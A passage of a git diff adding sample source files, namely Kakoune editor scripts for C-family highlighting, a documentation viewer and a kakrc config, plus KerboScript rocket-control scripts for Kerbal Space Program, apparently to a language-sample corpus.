+            add-highlighter shared/$ft/line_comment region // (?<!\\\\)(?=\\n) fill comment
+            add-highlighter shared/$ft/disabled region -recurse "#\\h*if(?:def)?" ^\\h*?#\\h*if\\h+(?:0|FALSE)\\b "#\\h*(?:else|elif|endif)" fill comment
+            add-highlighter shared/$ft/macro region %{^\\h*?\\K#} %{(?<!\\\\)(?=\\n)|(?=//)} group
+
+            add-highlighter shared/$ft/macro/ fill meta
+            add-highlighter shared/$ft/macro/ regex ^\\h*#\\h*include\\h+(\\S*) 1:module
+            add-highlighter shared/$ft/macro/ regex /\\*.*?\\*/ 0:comment
+	EOF
+    done
+}
+
+# c specific
+add-highlighter shared/c/code/numbers regex %{\b-?(0x[0-9a-fA-F]+|\d+)([uU][lL]{0,2}|[lL]{1,2}[uU]?|[fFdDiI]|([eE][-+]?\d+))?|'((\\.)?|[^'\\])'} 0:value
+evaluate-commands %sh{
+    # Grammar
+    keywords='asm break case continue default do else for goto if return
+              sizeof switch while offsetof alignas alignof'
+    attributes='auto atomic const enum extern inline register restrict static
+                struct typedef union volatile thread_local'
+    types='char double float int long short signed unsigned void
+           complex imaginary
+           fenv_t fexcept_t
+           imaxdiv_t
+           lconv
+           float_t double_t
+           jmp_buf
+           sig_atomic_t
+           va_list
+           memory_order atomic_flag atomic_bool atomic_char atomic_schar atomic_uchar atomic_wchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_llong atomic_ulong atomic_ullong atomic_char16_t atomic_char32_t atomic_intptr_t atomic_intmax_t atomic_int8_t atomic_int16_t atomic_int32_t atomic_int64_t atomic_int_least8_t atomic_int_least16_t atomic_int_least32_t atomic_int_least64_t atomic_int_fast8_t atomic_int_fast16_t atomic_int_fast32_t atomic_int_fast64_t atomic_uintptr_t atomic_uintmax_t atomic_uint8_t atomic_uint16_t atomic_uint32_t atomic_uint64_t atomic_uint_least8_t atomic_uint_least16_t atomic_uint_least32_t atomic_uint_least64_t atomic_uint_fast8_t atomic_uint_fast16_t atomic_uint_fast32_t atomic_uint_fast64_t atomic_size_t atomic_ptrdiff_t
+           bool
+           ptrdiff_t size_t max_align_t wchar_t
+           intptr_t intmax_t int8_t int16_t int32_t int64_t int_least8_t int_least16_t int_least32_t int_least64_t int_fast8_t int_fast16_t int_fast32_t int_fast64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t uint_least8_t uint_least16_t uint_least32_t uint_least64_t uint_fast8_t uint_fast16_t uint_fast32_t uint_fast64_t
+           FILE fpos_t
+           div_t ldiv_t lldiv_t
+           cnd_t thrd_t thrd_start_t tss_t tss_dtor_t mtx_t once_flag
+           clock_t time_t timespec tm
+           mbstate_t wint_t
+           wctrans_t wctype_t
+           char16_t char32_t
+           ssize_t gid_t uid_t off_t off64_t useconds_t pid_t socklen_t'
+
+    macros='assert static_assert NDEBUG
+            I
+            EDOM EILSEQ ERANGE errno
+            FE_DIVBYZERO FE_INEXACT FE_INVALID FE_OVERFLOW FE_UNDERFLOW FE_ALL_EXCEPT FE_DOWNWARD FE_TONEAREST FE_TOWARDZERO FE_UPWARD FE_DFL_ENV
+            DECIMAL_DIG FLT_ROUNDS FLT_EVAL_METHOD FLT_RADIX FLT_DIG FLT_MANT_DIG FLT_DECIMAL_DIG FLT_MIN_EXP FLT_MIN_10_EXP FLT_MAX_EXP FLT_MAX FLT_EPSILON FLT_TRUE_MIN FLT_HAS_SUBNORM DBL_DIG DBL_MANT_DIG DBL_DECIMAL_DIG DBL_MIN_EXP DBL_MIN_10_EXP DBL_MAX_EXP DBL_MAX DBL_EPSILON DBL_TRUE_MIN DBL_HAS_SUBNORM LDBL_DIG LDBL_MANT_DIG LDBL_DECIMAL_DIG LDBL_MIN_EXP LDBL_MIN_10_EXP LDBL_MAX_EXP LDBL_MAX LDBL_EPSILON LDBL_TRUE_MIN LDBL_HAS_SUBNORM
+            PRIdMAX PRIdPTR PRId8 PRId16 PRId32 PRId64 PRIdLEAST8 PRIdLEAST16 PRIdLEAST32 PRIdLEAST64 PRIdFAST8 PRIdFAST16 PRIdFAST32 PRIdFAST64 PRIiMAX PRIiPTR PRIi8 PRIi16 PRIi32 PRIi64 PRIiLEAST8 PRIiLEAST16 PRIiLEAST32 PRIiLEAST64 PRIiFAST8 PRIiFAST16 PRIiFAST32 PRIiFAST64 PRIoMAX PRIoPTR PRIo8 PRIo16 PRIo32 PRIo64 PRIoLEAST8 PRIoLEAST16 PRIoLEAST32 PRIoLEAST64 PRIoFAST8 PRIoFAST16 PRIoFAST32 PRIoFAST64 PRIuMAX PRIuPTR PRIu8 PRIu16 PRIu32 PRIu64 PRIuLEAST8 PRIuLEAST16 PRIuLEAST32 PRIuLEAST64 PRIuFAST8 PRIuFAST16 PRIuFAST32 PRIuFAST64 PRIxMAX PRIxPTR PRIx8 PRIx16 PRIx32 PRIx64 PRIxLEAST8 PRIxLEAST16 PRIxLEAST32 PRIxLEAST64 PRIxFAST8 PRIxFAST16 PRIxFAST32 PRIxFAST64 PRIXMAX PRIXPTR PRIX8 PRIX16 PRIX32 PRIX64 PRIXLEAST8 PRIXLEAST16 PRIXLEAST32 PRIXLEAST64 PRIXFAST8 PRIXFAST16 PRIXFAST32 PRIXFAST64 SCNdMAX SCNdPTR SCNd8 SCNd16 SCNd32 SCNd64 SCNdLEAST8 SCNdLEAST16 SCNdLEAST32 SCNdLEAST64 SCNdFAST8 SCNdFAST16 SCNdFAST32 SCNdFAST64 SCNiMAX SCNiPTR SCNi8 SCNi16 SCNi32 SCNi64 SCNiLEAST8 SCNiLEAST16 SCNiLEAST32 SCNiLEAST64 SCNiFAST8 SCNiFAST16 SCNiFAST32 SCNiFAST64 SCNoMAX SCNoPTR SCNo8 SCNo16 SCNo32 SCNo64 SCNoLEAST8 SCNoLEAST16 SCNoLEAST32 SCNoLEAST64 SCNoFAST8 SCNoFAST16 SCNoFAST32 SCNoFAST64 SCNuMAX SCNuPTR SCNu8 SCNu16 SCNu32 SCNu64 SCNuLEAST8 SCNuLEAST16 SCNuLEAST32 SCNuLEAST64 SCNuFAST8 SCNuFAST16 SCNuFAST32 SCNuFAST64 SCNxMAX SCNxPTR SCNx8 SCNx16 SCNx32 SCNx64 SCNxLEAST8 SCNxLEAST16 SCNxLEAST32 SCNxLEAST64 SCNxFAST8 SCNxFAST16 SCNxFAST32 SCNxFAST64
+            and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq
+            CHAR_MIN CHAR_MAX SCHAR_MIN SCHAR_MAX WCHAR_MIN WCHAR_MAX SHRT_MIN SHRT_MAX INT_MIN INT_MAX LONG_MIN LONG_MAX LLONG_MIN LLONG_MAX MB_LEN_MAX UCHAR_MAX USHRT_MAX UINT_MAX ULONG_MAX ULLONG_MAX CHAR_BIT
+            LC_ALL LC_COLLATE LC_CTYPE LC_MONETARY LC_NUMERIC LC_TIME
+            HUGE_VAL HUGE_VALF HUGE_VALL INFINITY NAN FP_INFINITE FP_NAN FP_NORMAL FP_SUBNORMAL FP_ZERO FP_FAST_FMA FP_FAST_FMAF FP_FAST_FMAL FP_ILOGB0 FP_ILOGBNAN MATH_ERRNO MATH_ERREXCEPT math_errhandling isgreater isgreaterequal isless islessequal islessgreater isunordered
+            setjmp
+            SIG_DFL SIG_ERR SIG_IGN SIGABRT SIGFPE SIGILL SIGINT SIGSEGV SIGTERM
+            va_start va_arg va_end va_copy
+            ATOMIC_BOOL_LOCK_FREE ATOMIC_CHAR_LOCK_FREE ATOMIC_CHAR16_T_LOCK_FREE ATOMIC_CHAR32_T_LOCK_FREE ATOMIC_WCHAR_T_LOCK_FREE ATOMIC_SHORT_LOCK_FREE ATOMIC_INT_LOCK_FREE ATOMIC_LONG_LOCK_FREE ATOMIC_LLONG_LOCK_FREE ATOMIC_POINTER_LOCK_FREE ATOMIC_FLAG_INIT ATOMIC_VAR_INIT memory_order_relaxed memory_order_consume memory_order_acquire memory_order_release memory_order_acq_rel memory_order_seq_cst kill_dependency
+            true false
+            NULL
+            _IOFBF _IOLBF _IONBF BUFSIZ EOF FOPEN_MAX FILENAME_MAX TMP_MAX L_tmpnam SEEK_CUR SEEK_END SEEK_SET stderr stdin stdout
+            EXIT_FAILURE EXIT_SUCCESS MB_CUR_MAX RAND_MAX
+            PTRDIFF_MIN PTRDIFF_MAX SIG_ATOMIC_MIN SIG_ATOMIC_MAX WINT_MIN WINT_MAX INTMAX_MIN INTMAX_MAX INTPTR_MIN INTPTR_MAX INT8_MIN INT8_MAX INT16_MIN INT16_MAX INT32_MIN INT32_MAX INT64_MIN INT64_MAX INT_LEAST8_MIN INT_LEAST8_MAX INT_LEAST16_MIN INT_LEAST16_MAX INT_LEAST32_MIN INT_LEAST32_MAX INT_LEAST64_MIN INT_LEAST64_MAX INT_FAST8_MIN INT_FAST8_MAX INT_FAST16_MIN INT_FAST16_MAX INT_FAST32_MIN INT_FAST32_MAX INT_FAST64_MIN INT_FAST64_MAX UINTMAX_MAX UINTPTR_MAX UINT8_MAX UINT16_MAX UINT32_MAX UINT64_MAX UINT_LEAST8_MAX UINT_LEAST16_MAX UINT_LEAST32_MAX UINT_LEAST64_MAX UINT_FAST8_MAX UINT_FAST16_MAX UINT_FAST32_MAX UINT_FAST64_MAX INTMAX_C INT8_C INT16_C INT32_C INT64_C UINTMAX_C UINT8_C UINT16_C UINT32_C UINT64_C
+            mtx_plain mtx_recursive mtx_timed thrd_timedout thrd_success thrd_busy thrd_error thrd_nomem ONCE_FLAG_INIT TSS_DTOR_ITERATION
+            CLOCKS_PER_SEC TIME_UTC
+            WEOF
+            noreturn
+            R_OK W_OK X_OK F_OK F_LOCK F_ULOCK F_TLOCK F_TEST'
+
+    join() { sep=$2; eval set -- $1; IFS="$sep"; echo "$*"; }
+
+    # Add the language's grammar to the static completion list
+    printf %s\\n "declare-option str-list c_static_words $(join "${keywords} ${attributes} ${types} ${macros}" ' ')"
+
+    # Highlight keywords
+    printf %s "
+        add-highlighter shared/c/code/keywords regex \b($(join "${keywords}" '|'))\b 0:keyword
+        add-highlighter shared/c/code/attributes regex \b($(join "${attributes}" '|'))\b 0:attribute
+        add-highlighter shared/c/code/types regex \b($(join "${types}" '|'))\b 0:type
+        add-highlighter shared/c/code/values regex \b($(join "${macros}" '|'))\b 0:value
+    "
+}
+
+# c++ specific
+
+# integer literals
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b[1-9]('?\d+)*(ul?l?|ll?u?)?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0b[01]('?[01]+)*(ul?l?|ll?u?)?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0('?[0-7]+)*(ul?l?|ll?u?)?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0x[\da-f]('?[\da-f]+)*(ul?l?|ll?u?)?\b(?!\.)} 0:value
+
+# floating point literals
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b\d('?\d+)*\.([fl]\b|\B)(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b\d('?\d+)*\.?e[+-]?\d('?\d+)*[fl]?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)(\b(\d('?\d+)*)|\B)\.\d('?[\d]+)*(e[+-]?\d('?\d+)*)?[fl]?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0x[\da-f]('?[\da-f]+)*\.([fl]\b|\B)(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0x[\da-f]('?[\da-f]+)*\.?p[+-]?\d('?\d+)*)?[fl]?\b(?!\.)} 0:value
+add-highlighter shared/cpp/code/ regex %{(?i)(?<!\.)\b0x([\da-f]('?[\da-f]+)*)?\.\d('?[\d]+)*(p[+-]?\d('?\d+)*)?[fl]?\b(?!\.)} 0:value
+
+# character literals (no multi-character literals)
+add-highlighter shared/cpp/code/char regex %{(\b(u8|u|U|L)|\B)'((\\.)|[^'\\])'\B} 0:value
+
+evaluate-commands %sh{
+    # Grammar
+    keywords='alignas alignof and and_eq asm bitand bitor break case catch
+              compl const_cast continue decltype delete do dynamic_cast
+              else export for goto if new not not_eq operator or or_eq
+              reinterpret_cast return sizeof static_assert static_cast switch
+              throw try typedef typeid using while xor xor_eq'
+    attributes='audit auto axiom const consteval constexpr default explicit
+                extern final friend inline mutable noexcept override private
+                protected public register requires static thread_local typename
+                virtual volatile'
+    entities='class concept enum namespace struct template union'
+    types='bool byte char char8_t char16_t char32_t double float int long
+           max_align_t nullptr_t ptrdiff_t short signed size_t unsigned void
+           wchar_t'
+    values='NULL false nullptr this true'
+
+    join() { sep=$2; eval set -- $1; IFS="$sep"; echo "$*"; }
+
+    # Add the language's grammar to the static completion list
+    printf %s\\n "declare-option str-list cpp_static_words $(join "${keywords} ${attributes} ${entities} ${types} ${values}" ' ')"
+
+    # Highlight keywords
+    printf %s "
+        add-highlighter shared/cpp/code/keywords regex \b($(join "${keywords}" '|'))\b 0:keyword
+        add-highlighter shared/cpp/code/attributes regex \b($(join "${attributes} ${entities}" '|'))\b 0:attribute
+        add-highlighter shared/cpp/code/types regex \b($(join "${types}" '|'))\b 0:type
+        add-highlighter shared/cpp/code/values regex \b($(join "${values}" '|'))\b 0:value
+    "
+}
+
+# c and c++ compiler macros
+evaluate-commands %sh{
+    builtin_macros="__cplusplus|__STDC_HOSTED__|__FILE__|__LINE__|__DATE__|__TIME__|__STDCPP_DEFAULT_NEW_ALIGNMENT__"
+
+    printf %s "
+        add-highlighter shared/c/code/macros regex \b(${builtin_macros})\b 0:builtin
+        add-highlighter shared/cpp/code/macros regex \b(${builtin_macros})\b 0:builtin
+    "
+}
+
+# objective-c specific
+add-highlighter shared/objc/code/number regex %{\b-?\d+[fdiu]?|'((\\.)?|[^'\\])'} 0:value
+
+evaluate-commands %sh{
+    # Grammar
+    keywords='break case continue default do else for goto if return switch
+              while'
+    attributes='IBAction IBOutlet __block assign auto const copy enum extern
+                inline nonatomic readonly retain static strong struct typedef
+                union volatile weak'
+    types='BOOL CGFloat NSInteger NSString NSUInteger bool char float
+           instancetype int long short signed size_t unsigned void'
+    values='FALSE NO NULL TRUE YES id nil self super'
+    decorators='autoreleasepool catch class end implementation interface
+                property protocol selector synchronized synthesize try'
+
+    join() { sep=$2; eval set -- $1; IFS="$sep"; echo "$*"; }
+
+    # Add the language's grammar to the static completion list
+    printf %s\\n "declare-option str-list objc_static_words $(join "${keywords} ${attributes} ${types} ${values} ${decorators}" ' ')"
+
+    # Highlight keywords
+    printf %s "
+        add-highlighter shared/objc/code/keywords regex \b($(join "${keywords}" '|'))\b 0:keyword
+        add-highlighter shared/objc/code/attributes regex \b($(join "${attributes}" '|'))\b 0:attribute
+        add-highlighter shared/objc/code/types regex \b($(join "${types}" '|'))\b 0:type
+        add-highlighter shared/objc/code/values regex \b($(join "${values}" '|'))\b 0:value
+        add-highlighter shared/objc/code/decorators regex  @($(join "${decorators}" '|'))\b 0:attribute
+    "
+}
+
+declare-option -docstring %{
+    control the type of include guard to be inserted in empty headers
+    Can be one of the following:
+        ifdef: old style ifndef/define guard
+        pragma: newer type of guard using "pragma once"
+} str c_include_guard_style "ifdef"
+
+define-command -hidden c-family-insert-include-guards %{
+    evaluate-commands %sh{
+        case "${kak_opt_c_include_guard_style}" in
+            ifdef)
+                echo 'execute-keys ggi<c-r>%<ret><esc>ggxs\.<ret>c_<esc><space>A_INCLUDED<esc>ggxyppI#ifndef<space><esc>jI#define<space><esc>jI#endif<space>//<space><esc>O<esc>'
+                ;;
+            pragma)
+                echo 'execute-keys ggi#pragma<space>once<esc>'
+                ;;
+            *);;
+        esac
+    }
+}
+
+hook -group c-family-insert global BufNewFile .*\.(h|hh|hpp|hxx|H) c-family-insert-include-guards
+
+declare-option -docstring "colon separated list of path in which header files will be looked for" \
+    str-list alt_dirs '.' '..'
+
+define-command -hidden c-family-alternative-file %{
+    evaluate-commands %sh{
+        file="${kak_buffile##*/}"
+        file_noext="${file%.*}"
+        dir=$(dirname "${kak_buffile}")
+
+        # Set $@ to alt_dirs
+        eval "set -- ${kak_quoted_opt_alt_dirs}"
+
+        case ${file} in
+            *.c|*.cc|*.cpp|*.cxx|*.C|*.inl|*.m)
+                for alt_dir in "$@"; do
+                    for ext in h hh hpp hxx H; do
+                        altname="${dir}/${alt_dir}/${file_noext}.${ext}"
+                        if [ -f ${altname} ]; then
+                            printf 'edit %%{%s}\n' "${altname}"
+                            exit
+                        fi
+                    done
+                done
+            ;;
+            *.h|*.hh|*.hpp|*.hxx|*.H)
+                for alt_dir in "$@"; do
+                    for ext in c cc cpp cxx C m; do
+                        altname="${dir}/${alt_dir}/${file_noext}.${ext}"
+                        if [ -f ${altname} ]; then
+                            printf 'edit %%{%s}\n' "${altname}"
+                            exit
+                        fi
+                    done
+                done
+            ;;
+            *)
+                echo "fail 'extension not recognized'"
+                exit
+            ;;
+        esac
+        echo "fail 'alternative file not found'"
+    }
+}
+
+define-command c-alternative-file -docstring "Jump to the alternate c file (header/implementation)" %{
+    c-family-alternative-file
+}
+define-command cpp-alternative-file -docstring "Jump to the alternate cpp file (header/implementation)" %{
+    c-family-alternative-file
+}
+define-command objc-alternative-file -docstring "Jump to the alternate objc file (header/implementation)" %{
+    c-family-alternative-file
+}
+
+§
+
+# Module aliases
+provide-module c %{ require-module c-family }
+provide-module cpp %{ require-module c-family }
+provide-module objc %{ require-module c-family }
diff --git a/samples/KakouneScript/doc.kak b/samples/KakouneScript/doc.kak
new file mode 100644
index 0000000000..26963526f6
--- /dev/null
+++ b/samples/KakouneScript/doc.kak
@@ -0,0 +1,191 @@
+declare-option -docstring "name of the client in which documentation is to be displayed" \
+    str docsclient
+
+declare-option -hidden range-specs doc_render_ranges
+declare-option -hidden range-specs doc_render_links
+declare-option -hidden range-specs doc_links
+declare-option -hidden range-specs doc_anchors
+
+define-command -hidden -params 4 doc-render-regex %{
+    evaluate-commands -draft %{ try %{
+        execute-keys <percent> s %arg{1} <ret>
+        execute-keys -draft s %arg{2} <ret> d
+        execute-keys "%arg{3}"
+        evaluate-commands %sh{
+            face="$4"
+            eval "set -- $kak_quoted_selections_desc"
+            ranges=""
+            for desc in "$@"; do ranges="$ranges '$desc|$face'"; done
+            echo "update-option buffer doc_render_ranges"
+            echo "set-option -add buffer doc_render_ranges $ranges"
+        }
+    } }
+}
+
+define-command -hidden doc-parse-links %{
+    evaluate-commands -draft %{ try %{
+        execute-keys <percent> s <lt><lt>(.*?),.*?<gt><gt> <ret>
+        execute-keys -draft s <lt><lt>.*,|<gt><gt> <ret> d
+        execute-keys H
+        set-option buffer doc_links %val{timestamp}
+        set-option buffer doc_render_links %val{timestamp}
+        evaluate-commands -itersel %{
+            set-option -add buffer doc_links "%val{selection_desc}|%reg{1}"
+            set-option -add buffer doc_render_links "%val{selection_desc}|default+u"
+        }
+    } }
+}
+
+define-command -hidden doc-parse-anchors %{
+    evaluate-commands -draft %{ try %{
+        set-option buffer doc_anchors %val{timestamp}
+        # Find sections as add them as imlicit anchors
+        execute-keys <percent> s ^={2,}\h+([^\n]+)$ <ret>
+        evaluate-commands -itersel %{
+            set-option -add buffer doc_anchors "%val{selection_desc}|%sh{printf '%s' ""$kak_main_reg_1"" | tr '[A-Z ]' '[a-z-]'}"
+        }
+
+        # Parse explicit anchors and remove their text
+        execute-keys <percent> s \[\[(.*?)\]\]\s* <ret>
+        evaluate-commands -itersel %{
+            set-option -add buffer doc_anchors "%val{selection_desc}|%reg{1}"
+        }
+        execute-keys d
+        update-option buffer doc_anchors
+    } }
+}
+
+define-command doc-jump-to-anchor -params 1 %{
+    update-option buffer doc_anchors
+    evaluate-commands %sh{
+        anchor="$1"
+        eval "set -- $kak_quoted_opt_doc_anchors"
+
+        shift
+        for range in "$@"; do
+            if [ "${range#*|}" = "$anchor" ]; then
+                printf '%s\n'  "select '${range%|*}'; execute-keys vv"
+                exit
+            fi
+        done
+        printf "fail No such anchor '%s'\n" "${anchor}"
+    }
+}
+
+define-command doc-follow-link %{
+    update-option buffer doc_links
+    evaluate-commands %sh{
+        eval "set -- $kak_quoted_opt_doc_links"
+        for link in "$@"; do
+            printf '%s\n' "$link"
+        done | awk -v FS='[.,|#]' '
+            BEGIN {
+                l=ENVIRON["kak_cursor_line"];
+                c=ENVIRON["kak_cursor_column"];
+            }
+            l >= $1 && c >= $2 && l <= $3 && c <= $4 {
+                if (NF == 6) {
+                    print "doc " $5
+                    if ($6 != "") {
+                        print "doc-jump-to-anchor %{" $6 "}"
+                    }
+                } else {
+                    print "doc-jump-to-anchor %{" $5 "}"
+                }
+                exit
+            }
+        '
+    }
+}
+
+define-command -params 1 -hidden doc-render %{
+    edit! -scratch "*doc-%sh{basename $1 .asciidoc}*"
+    execute-keys "!cat %arg{1}<ret>gg"
+
+    doc-parse-anchors
+
+    # Join paragraphs together
+    try %{
+        execute-keys -draft '%S\n{2,}|(?<lt>=\+)\n|^[^\n]+::\n|^\h*[*-]\h+<ret>' \
+            <a-K>^\h*-{2,}(\n|\z)<ret> S\n\z<ret> <a-k>\n<ret> <a-j>
+    }
+
+    # Remove some line end markers
+    try %{ execute-keys -draft <percent> s \h*(\+|:{2,})$ <ret> d }
+
+    # Setup the doc_render_ranges option
+    set-option buffer doc_render_ranges %val{timestamp}
+    doc-render-regex \B(?<!\\)\*(?=\S)[^\n]+?(?<=\S)(?<!\\)\*\B \A|.\z 'H' default+b
+    doc-render-regex \b(?<!\\)_(?=\S)[^\n]+?(?<=\S)(?<!\\)_\b \A|.\z 'H' default+i
+    doc-render-regex \B(?<!\\)`(?=\S)[^\n]+?(?<=\S)(?<!\\)`\B \A|.\z 'H' mono
+    doc-render-regex ^=\h+[^\n]+ ^=\h+ '~' title
+    doc-render-regex ^={2,}\h+[^\n]+ ^={2,}\h+ '' header
+    doc-render-regex ^\h*-{2,}\n\h*.*?^\h*-{2,}\n ^\h*-{2,}\n '' block
+
+    doc-parse-links
+
+    # Remove escaping of * and `
+    try %{ execute-keys -draft <percent> s \\((?=\*)|(?=`)) <ret> d }
+
+    set-option buffer readonly true
+    add-highlighter buffer/ ranges doc_render_ranges
+    add-highlighter buffer/ ranges doc_render_links
+    add-highlighter buffer/ wrap -word -indent
+    map buffer normal <ret> ': doc-follow-link<ret>'
+}
+
+define-command -params 1..2 \
+    -shell-script-candidates %{
+        if [ "$kak_token_to_complete" -eq 0 ]; then
+            find -L \
+                "${kak_config}/autoload/" \
+                "${kak_runtime}/doc/" \
+                "${kak_runtime}/rc/" \
+                -type f -name "*.asciidoc" |
+                sed 's,.*/,,; s/\.[^.]*$//'
+        elif [ "$kak_token_to_complete" -eq 1 ]; then
+            page=$(
+                find -L \
+                    "${kak_config}/autoload/" \
+                    "${kak_runtime}/doc/" \
+                    "${kak_runtime}/rc/" \
+                    -type f -name "$1.asciidoc" |
+                    head -1
+            )
+            if [ -f "${page}" ]; then
+                awk '
+                    /^==+ +/ { sub(/^==+ +/, ""); print }
+                    /^\[\[[^\]]+\]\]/ { sub(/^\[\[/, ""); sub(/\]\].*/, ""); print }
+                ' < $page | tr '[A-Z ]' '[a-z-]'
+            fi
+        fi
+    } \
+    doc -docstring %{
+        doc <topic> [<keyword>]: open a buffer containing documentation about a given topic
+        An optional keyword argument can be passed to the function, which will be automatically selected in the documentation
+
+        See `:doc doc` for details.
+    } %{
+    evaluate-commands %sh{
+        page=$(
+            find -L \
+                "${kak_config}/autoload/" \
+                "${kak_runtime}/doc/" \
+                "${kak_runtime}/rc/" \
+                -type f -name "$1.asciidoc" |
+                head -1
+        )
+        if [ -f "${page}" ]; then
+            jump_cmd=""
+            if [ $# -eq 2 ]; then
+                jump_cmd="doc-jump-to-anchor '$2'"
+            fi
+            printf %s\\n "evaluate-commands -try-client %opt{docsclient} %{ doc-render ${page}; ${jump_cmd} }"
+        else
+            printf 'fail No such doc file: %s\n' "${page}"
+        fi
+    }
+}
+
+alias global help doc
+
diff --git a/samples/KakouneScript/filenames/kakrc b/samples/KakouneScript/filenames/kakrc
new file mode 100644
index 0000000000..2d4f3d966d
--- /dev/null
+++ b/samples/KakouneScript/filenames/kakrc
@@ -0,0 +1,30 @@
+# Set the colour scheme
+colorscheme kaleidoscope-dark
+
+# Width of a tab
+set-option global tabstop 4
+
+# Indent with 4 spaces
+set-option global indentwidth 4
+
+# Always keep one line and three columns displayed around the cursor
+set-option global scrolloff 1,3
+
+# Display the status bar on top
+set-option global ui_options ncurses_status_on_top=true
+
+# Display line numbers
+add-highlighter global/ number-lines -hlcursor
+
+# Highlight trailing whitespace
+add-highlighter global/ regex \h+$ 0:Error
+
+# Softwrap long lines
+add-highlighter global/ wrap -word -indent
+
+# Clipboard management mappings
+map -docstring "yank the selection into the clipboard" global user y "<a-|> xsel -i<ret>"
+map -docstring "paste the clipboard" global user p "<a-!> xsel<ret>"
+
+# Shortcut to quickly exit the editor
+define-command -docstring "save and quit" x "write-all; quit"
diff --git a/samples/KerboScript/hoverslam.ks b/samples/KerboScript/hoverslam.ks
new file mode 100644
index 0000000000..b33bfc6399
--- /dev/null
+++ b/samples/KerboScript/hoverslam.ks
@@ -0,0 +1,29 @@
+// hoverslam
+// A SpaceX style "hoverslam" script for the kOS mod for Kerbal Space Program
+// Copyright © 2016 ayybradleyjh
+// Lic. MIT
+
+clearscreen.
+set radarOffset to 9.184.					// The value of alt:radar when landed (on gear)
+lock trueRadar to alt:radar - radarOffset.			// Offset radar to get distance from gear to ground
+lock g to constant:g * body:mass / body:radius^2.		// Gravity (m/s^2)
+lock maxDecel to (ship:availablethrust / ship:mass) - g.	// Maximum deceleration possible (m/s^2)
+lock stopDist to ship:verticalspeed^2 / (2 * maxDecel).		// The distance the burn will require
+lock idealThrottle to stopDist / trueRadar.			// Throttle required for perfect hoverslam
+lock impactTime to trueRadar / abs(ship:verticalspeed).		// Time until impact, used for landing gear
+
+WAIT UNTIL ship:verticalspeed < -1.
+	print "Preparing for hoverslam...".
+	rcs on.
+	brakes on.
+	lock steering to srfretrograde.
+	when impactTime < 3 then {gear on.}
+
+WAIT UNTIL trueRadar < stopDist.
+	print "Performing hoverslam".
+	lock throttle to idealThrottle.
+
+WAIT UNTIL ship:verticalspeed > -0.01.
+	print "Hoverslam completed".
+	set ship:control:pilotmainthrottle to 0.
+	rcs off.
diff --git a/samples/KerboScript/launch.ks b/samples/KerboScript/launch.ks
new file mode 100644
index 0000000000..ed7fa982a9
--- /dev/null
+++ b/samples/KerboScript/launch.ks
@@ -0,0 +1,36 @@
+// launch
+// This script was taken from the KSP-KOS documentation page.
+// It is licensed under terms of GNU General Public License Version 3, 29 June 2007.
+
+//First, we'll clear the terminal screen to make it look nice
+CLEARSCREEN.
+
+//Next, we'll lock our throttle to 100%.
+LOCK THROTTLE TO 1.0.   // 1.0 is the max, 0.0 is idle.
+
+//This is our countdown loop, which cycles from 10 to 0
+PRINT "Counting down:".
+FROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {
+    PRINT "..." + countdown.
+    WAIT 1. // pauses the script here for 1 second.
+}
+
+//This is a trigger that constantly checks to see if our thrust is zero.
+//If it is, it will attempt to stage and then return to where the script
+//left off. The PRESERVE keyword keeps the trigger active even after it
+//has been triggered.
+WHEN MAXTHRUST = 0 THEN {
+    PRINT "Staging".
+    STAGE.
+    PRESERVE.
+}.
+
+LOCK STEERING TO UP.
+
+WAIT UNTIL ALTITUDE > 70000.
+
+// NOTE that it is vital to not just let the script end right away
+// here.  Once a kOS script just ends, it releases all the controls
+// back to manual piloting so that you can fly the ship by hand again.
+// If the program just ended here, then that would cause the throttle
+// to turn back off again right away and nothing would happen.
diff --git a/samples/KerboScript/lib_pid.ks b/samples/KerboScript/lib_pid.ks
new file mode 100644
index 0000000000..f50f166eca
--- /dev/null
+++ b/samples/KerboScript/lib_pid.ks
@@ -0,0 +1,86 @@
+// lib_pid.ks provides routines to implement a simple generic PID controller.
+// Copyright © 2015,2016,2019 KSLib team 
+// Lic. MIT
+@LAZYGLOBAL off.
+
+HUDTEXT("lib_pid.ks has been superseded by the kOS inbuilt PIDloop() function.", 10, 2, 30, RED, FALSE).
+wait 0.5.
+HUDTEXT("It is maintained for example purposes only, please see the kOS documentation for more.", 10, 4, 30, RED, FALSE).
+
+function PID_init {
+  parameter
+    Kp,      // gain of position
+    Ki,      // gain of integral
+    Kd,      // gain of derivative
+    cMin,  // the bottom limit of the control range (to protect against integral windup)
+    cMax.  // the the upper limit of the control range (to protect against integral windup)
+
+  local SeekP is 0. // desired value for P (will get set later).
+  local P is 0.     // phenomenon P being affected.
+  local I is 0.     // crude approximation of Integral of P.
+  local D is 0.     // crude approximation of Derivative of P.
+  local oldT is -1. // (old time) start value flags the fact that it hasn't been calculated
+  local oldInput is 0. // previous return value of PID controller.
+
+  // Because we don't have proper user structures in kOS (yet?)
+  // I'll store the PID tracking values in a list like so:
+  //
+  local PID_array is list(Kp, Ki, Kd, cMin, cMax, SeekP, P, I, D, oldT, oldInput).
+
+  return PID_array.
+}.
+
+function PID_seek {
+  parameter
+    PID_array, // array built with PID_init.
+    seekVal,   // value we want.
+    curVal.    // value we currently have.
+
+  // Using LIST() as a poor-man's struct.
+
+  local Kp   is PID_array[0].
+  local Ki   is PID_array[1].
+  local Kd   is PID_array[2].
+  local cMin is PID_array[3].
+  local cMax is PID_array[4].
+  local oldS   is PID_array[5].
+  local oldP   is PID_array[6].
+  local oldI   is PID_array[7].
+  local oldD   is PID_array[8].
+  local oldT   is PID_array[9]. // Old Time
+  local oldInput is PID_array[10]. // prev return value, just in case we have to do nothing and return it again.
+
